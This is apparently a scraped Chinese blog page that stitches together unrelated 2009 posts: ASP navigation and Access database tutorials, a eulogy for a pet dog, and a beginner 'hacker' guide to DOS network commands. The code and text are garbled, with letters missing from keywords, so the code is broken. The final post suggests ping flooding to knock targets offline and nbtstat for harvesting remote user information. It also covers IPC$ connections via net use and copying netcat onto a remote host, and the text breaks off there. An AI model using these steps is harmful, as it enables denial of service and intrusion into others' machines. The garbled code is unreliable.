htmlheadtitle这个链接要注意/title/head
< ody
这里是第 2 章的正文............/ gt;
% '每个文件都包含下面这句, 就实现了自动链接%
!--#include file="wuf29.a "--
/body/html
这里最后一句加上去就可以实现自动跳转,核心在wuf29.a 中。
Dim NextLink, rank
Set NextLink = Server.CreateObject ("MSWC.NextLink")
'当前的链接在 urllist.txt 中位于第几个
rank = NextLink.GetListIndex ("urllist.txt")
Re o e.Write "hr"
If (rank 1) Then 'rank = 1 不存在前一页
Re o e.Write "|a href=""" &am NextLink.GetPreviousURL("urllist.txt") &am """上一章/a|"
If (rank NextLink.GetListCount("urllist.txt")) Then 'rank在最后, 则没有下一页
Re o e.Write "|a href=""" &am NextLink.GetNextURL("urllist.txt") &am """下一章/a|"
运行这个例子后,你马上能真正理解这个组件的作用,简而言之,就是不需要在每页都写一个“上一章”、“下一章”,完全通过wuf29.a 一下搞定,是不是很方便?!不然你要是手工修改链接的话,不是太麻烦了几点吗?
现在你应该明白了,网上大量的免费计数器、免费留言板、免费聊天室、广告交换网等等……,其原理都不过如此,大可不必崇拜
( Sun, 24 May 2009 00:36:26 +0800 )
Description:
ASP有一个最重要的功能,就是它可以让你非常轻松地连接数据库。通常都是和一个Acce 或者一个SQL数据库相连。因为Acce 是最容易起步的,同时,在你的机器上也许已经都装有Acce 了,所以,在下面的例子中,我们都将使用Acce 来做例子。一旦你学习了ASP和Acce 数据库连接的核心技术方法,当你开始使用SQL server的时候,你就会发现,两者所需要的关键技术是基本相同的。
转自:动态网制作指南
当你要连接数据库的时候,你需要在服务器上将这个数据库打开。你可以通过使用数据源名(DSN)或者通过在你的脚本语言中直接使用一个DSN-le 连接的方法来连接和打开数据库。
创建一个数据源名(DSN)
你可以通过在控制面板中给你的数据库建立一个系统DSN来使你的数据库可以在ASP中连接使用。你可以在你的本地计算机上建立若干个DSN,每个DSN对应你使用的不同的数据库。在建立完DSN之后,你就可以在你的本地服务器上测试你的页面了。如果你的网站是由
ISP提供服务的,并且这个ISP支持ASP,那么很有可能它就会提供一个GUI接口,来给你的数据库创建一个DSN。
在Windows 95/98/NT中,打开控制面板(开始菜单-设置-控制面板),双击ODBC进入。
选择系统DSN,点击Add。
选择“Microsoft Acce Driver”,点击结束。
填写数据源名。这是你给你的数据库起的名字,所以和一个alias是同样的操作。
在数据库选择中点击选择按钮,浏览系统中你创建的Acce 数据库所存放的位置。
点击OK
现在,新的DSN现在就会在系统DSN中显示,并且可以在你的本地服务器上使用了。
连接数据库
让我们建立一个DSN-le 连接,并且看看是如何连接数据库的。当你创建一个DSN的时候,你就已经存储了关于这个数据库的一些信息,所以你不需要在每次需要使用一些信息的时候重复它们,这些信息如:数据库类型、名称、存放地点和可选性、用户和密码。
要创建一个DSN-le 连接,你就需要提供同样的信息。下面这个例子就显示了如何给一个叫products的数据库建立一个DSN-le 连接:
StrCo ect = "Driver={Microsoft Acce Driver (*.mdb)}; DBQ=C:\db\products.mdb"
Set objCo = Server.CreateObject ("ADODB.Co ection")
objCo .OpenStrCo ect
第二行定义了数据库的驱动和物理路径。为了要使用一个DSN-le 连接,你就需要知道实际的文件存放地点(绝对路径)。Server.MapPath给任何一个使用主机服务的人提供了一个简单的工作环境来查找出那些难于查到的实际访问路径。
如果我们已经建立了一个系统DSN,并命名为products,则连接码应该为:
Set objCo = Server.CreateObject ("ADODB.Co ection")
objCo .Open "products"
现在,数据库就已经打开了,那么你可以做些什么呢?第一件事情当然就是阅读数据库中的一系列记录,并将它们放到你的页面中去。但是,在这之前,你需要一个recordset。
Recordset
一个recordset是存储在特殊数据库表上的所有信息。所以,当你打开这个recordset的时候,表中所有的行和列的内容都是可访问的。你需要打开这个recordeset,正如你需要打开数据库连接一样。它们的命令是相似的:
Set objRec = Server.CreateObject ("ADODB.Recordset")
objRec.Open "downloadable", strCo ect, 0,1,2
这个语句就创建了一个名为downloadable表的recordset(objRec),这个表在products数据库的strCo ect中定义。使用Recordset open, 我们就可以循环浏览这个表,并且可以将它的所有内容都显示到屏幕上。或者,我们可以测试特定字段的内容,也可以只将我们关注的内容写到屏幕上去。
每一列代表一个字段。所以,如果数据库表如下所示:
Product ID SKU Name File
1 PR12345 Product A i tall_a.exe
2 PR12346 Product B I tall_b.exe
那么,我们就有如下字段的内容:ProductID, SKU, Name, 和File。你的表很可能会有许多额外的字段内容,可能包含很多东西,如价格或者是产品(商品)描述。但是这个示意图可以给你提供最基本的数据库表的概念。
填写recordset内容
使用recordset是非常容易的一件事情。如果你想要循环浏览数据库,并将所有的信息都打印到屏幕上显示,你可以按照下面来操作:
While NOT objRec.EOF
' says to do this as long as we haven't reached the end of the file Re o e.WriteobjRec("ProductID") &am ", " Re o e.WriteobjRec("SKU") &am ", " Re o e.WriteobjRec("Name") &am ", " Re o e.WriteobjRec("File") &am "BR" objRec.MoveNext Wend ;
即使你没有如此使用过loop,你仍然可以通过阅读这个代码来将信息写到comma-delimited字符串里,并且当数据库表中创建了一个新行的时候,就重新创建一个新的行,来记录表中的那一行。你可以使用同样的方法将数据写到HTML表格中去。通过使用Re o e.Write添加你的TABLE标签,需要记住以下几点:
你的HTML 标签和引号中的内容。
如果你的标签或者内容使用了引号,注意使用双引号:
FONT SIZE=""+2"".
使用&am 来连接变量和HTML/内容信息
选择recordset中的字段
假设我们的products数据库同样包含一个叫OS的字段,假设这个字段是一个平台分界符。同样,让我们假设存储在这个字段的数据只能是如下的数据:Windows NT, Windows 95, Windows 98, Windows, Mac, Unix, 或者 Linux。
下面,我们就可以确认我们需要将哪个字段打印到屏幕上,而要忽略哪些那些字段。或者,我们可以选择哪些字段用一种格式,而另外的字段用其它的格式,如,使用不同的颜色。
使用一个简单的If...,循环就可以给我们提供更多的数据库控制权利。首先让我们来打印有关Windows NT产品的记录:
TABLE BORDER=0 WIDTH=600
TRTD COLSPAN=4 ALIGN=CENTERFONT SIZE="+1"BWindows NT Product lt;/B/FONT/TD/TR
% While NOT objRec.EOF If objRec("OS") = "Windows NT" THEN ' ecifies the criteria
Re o e.Write "TRTD BGCOLOR=""#FFFF66""" &am objRec("ProductID") &am "/TD"
Re o e.Write "TD" &am objRec("SKU") &am "/TD"
Re o e.Write "TD" &am objRec("Name") &am "/TD"
Re o e.Write "TD" &am objRec("File") &am "/TD/TR" end if objRec.MoveNext Wend
添加一个记录
一旦你开始使用recordset和ASP了,你就会十分希望能够通过网络将数据添加到数据库中去。添加内容是非常重要的,如,当你需要你的网页浏览者留下它们的观点和看法,或者,当你想要进行管理更新的时候。
下面的代码打开了一个recordset,这个recordset是有关一个有着书本和它们作者名字的数据库表格。你可能曾经看到过这个,但是这次,最后三个说明书定义的指针类型是不同的:adOpenStatic, adLockOptimistic, adCmdTable:
% ' database co ection already made; code not shown here
Set objRec = Server.CreateObject ("ADODB.Recordset") objRec.Open "books", bookdb, adOpenStatic, adLockOptimistic, adCmdTable
(如果你没有使用adov .inc的复制文件,第三行应该为:objRec.Open "books", bookdb, 3,3,2).
recordset现在就准备好接收数据了,你只需要告诉它添加什么。在这个情况下,假设我们从表格中取出变量:strBookTitle和strBookAuthor。我们的table, books有两个字段,称作Title 和 Author,所以我们可以通过使用下面的语句来添加一个新的记录:
objRec.AddNew ObjRec("Title") = strBookTitle objRec("Author") = strBookAuthor objRec.Update
strBookTitle和strBookAuthor代表值,通常被用户访问。如果你只是想测试add功能,你可以给title和author添加一个变量――只是需要记住使用引号。在你第一次使用它的时候,你可能会立即打开你的数据库,以确保更新的发生。
Recordset类型
在显示的objRec.Open例子中,你会发现在末尾有0,1,2的字样。这些数字代表不同的指针类型。你是用的类型依赖于你将使用它来干什么。例如,如果你不需要修改或增加任何的记录,你可以使用一个Lock类型。而当你计划要修改或者更新数据库的时候,你所选择的类型就会不同。
0,1,2 实际上代表:
adOpenForwardOnly, adLockReadOnly, adCmdTable
当然,如果在你的服务器上已经有了adov .inc的备份,那么,你也可以不使用数字,直接使用这些单词。adov .inc 包括了这三个常量和其它常量的一个列表。
( Sun, 24 May 2009 00:34:51 +0800 )
Description:
珠儿,你在惨痛的哀号中就这样走了,结束了你幼小的一生。这一切来得太突然,太凄惨,使得我忍不住拿起遗弃多年的笔要为你撰文。然而直到现在竟然还不知是什么原因夺走了你欢快的生命! 珠儿,你的生命虽然短暂,但是你给我们带来了快乐,我和家人会记得曾经有一个小生命光顾过我们的家庭,它是那样快乐悠闲,以致于人类都向往你的自在生活,还记得吗?你摇头摆尾啃咬小主人的皮靴吗?还记得你吞食猪骨的兴奋吗?还记得你舔着主人的手指,被亲昵的抚摸吗? 是呀,你怎么会记得呢?这对你要求不是太高了吗?超出了你应有的能力哟!但是我敢肯定的是,即使你这缥缈的精灵不会记起这些琐碎往事,也一定会留恋人世间的快乐生活,你不愿离开这嘈杂的,喧闹的,也是冷漠的空间!对的,一定是! 或许对于你的离去,作为主人的我有着一定的责任,一份让我有些内疚的责任,没有好好照顾你吗?是的,没有考虑到珠儿的安全,问题是主人没有尽到责任和义务!对你太纵容了吗?也是的,不对你那样娇惯,你就不会四处游逛,就不会胡乱吞食不该你吞咽的东西,也就不会遭此厄运。 珠儿,你离开了!离开了悲泣的小主人,离开了温暖的小天地,飘荡在天地的空间中,不明踪迹,无处可找!但愿你在未知的前路上一路走好!珠儿,走好! ( Sat, 23 May 2009 21:29:18 +0800 )
Description:
dos命令使用教程(黑客入门知识)
一)ping 它是用来检查网络是否通畅或者网络连接速度的命令。作为一个生活在网络上的管理员或者黑客来说,ping命令是第一个必须掌握的DOS命令,它所利用的原理是这样的:网络上的机器都有唯一确定的IP地址,我们给目标IP地址发送一个数据包,对方就要返回一个同样大小的数据包,根据返回的数据包我们可以确定目标主机的存在,可以初步判断目标主机的操作系统等。下面就来看看它的一些常用的操作。先看看帮助吧,在DOS窗口中键入:ping /? 回车,在此,我们只掌握一些基本的很有用的参数就可以了(下同)。
-t 表示将不间断向目标IP发送数据包,直到我们强迫其停止。试想,如果你使用100M的宽带接入,而目标IP是56K的小猫,那么要不了多久,目标IP就因为承受不了这么多的数据而掉线,呵呵,一次攻击就这么简单的实现了。
-l 定义发送数据包的大小,默认为32字节,我们利用它可以最大定义到65500字节。结合上面介绍的-t参数一起使用,会有更好的效果哦。
-n 定义向目标IP发送数据包的次数,默认为3次。如果网络速度比较慢,3次对我们来说也浪费了不少时间,因为现在我们的目的仅仅是判断目标IP是否存在,那么就定义为一次吧。
说明一下,如果-t 参数和 -n参数一起使用,ping命令就以放在后面的参数为标准,比如“ping IP -t -n 3”,虽然使用了-t参数,但并不是一直ping下去,而是只ping 3次。另外,ping命令不一定非得ping IP,也可以直接ping主机域名,这样就可以得到主机的IP。
下面我们举个例子来说明一下具体用法,
这里time=2表示从发出数据包到接受到返回数据包所用的时间是2秒,从这里可以判断网络连接速度的大小 。从TTL的返回值可以初步判断被ping主机的操作系统,之所以说“初步判断”是因为这个值是可以修改的。这里TTL=32表示操作系统可能是win98。
(小知识:如果TTL=128,则表示目标主机可能是Win2000;如果TTL=250,则目标主机可能是Unix)
至于利用ping命令可以快速查找局域网故障,可以快速搜索最快的QQ服务器,可以对别人进行ping攻击……这些就靠大家自己发挥了。 二, tstat
该命令使用TCP/IP上的NetBIOS显示协议统计和当前TCP/IP连接,使用这个命令你可以得到远程主机的NETBIOS信息,比如用户名、所属的工作组、网卡的MAC地址等。在此我们就有必要了解几个基本的参数。
-a 使用这个参数,只要你知道了远程主机的机器名称,就可以得到它的NETBIOS信息(下同)。
-A 这个参数也可以得到远程主机的NETBIOS信息,但需要你知道它的IP。
-n 列出本地机器的NETBIOS信息。
当得到了对方的IP或者机器名的时候,就可以使用 tstat命令来进一步得到对方的信息了,这又增加了我们入侵的保险系数。
三,netstat
这是一个用来查看网络状态的命令,操作简便功能强大。
-a 查看本地机器的所有开放端口,可以有效发现和预防木马,可以知道机器所开的服务等信息。
这里可以看出本地机器开放有FTP服务、Telnet服务、邮件服务、WEB服务等。用法:netstat -a IP。
-r 列出当前的路由信息,告诉我们本地机器的网关、子网掩码等信息。用法:netstat -r IP。
四,tracert
跟踪路由信息,使用此命令可以查出数据从本地机器传输到目标主机所经过的所有途径,这对我们了解网络布局和结构很有帮助。
这里说明数据从本地机器传输到192.168.0.1的机器上,中间没有经过任何中转,说明这两台机器是在同一段局域网内。用法:tracert IP。 五,net
这个命令是网络命令中最重要的一个,必须透彻掌握它的每一个子命令的用法,因为它的功能实在是太强大了,这简直就是微软为我们提供的最好的入侵工具。首先让我们来看一看它都有那些子命令,键入net /?回车。
在这里,我们重点掌握几个入侵常用的子命令。
net view
使用此命令查看远程主机的所以共享资源。命令格式为net view
net use
把远程主机的某个共享资源影射为本地盘符,图形界面方便使用,呵呵。命令格式为net use x:
。上面一个表示把192.168.0.5IP的共享名为magic的目录影射为本地的Z盘。下面表示和192.168.0.7建立IPC$连接(net use
"pa word" /user:"name")。
建立了IPC$连接后,呵呵,就可以上传文件了:copy nc.exe
,表示把本地目录下的nc.exe传到远程主机,结合后面要介绍到的其他DOS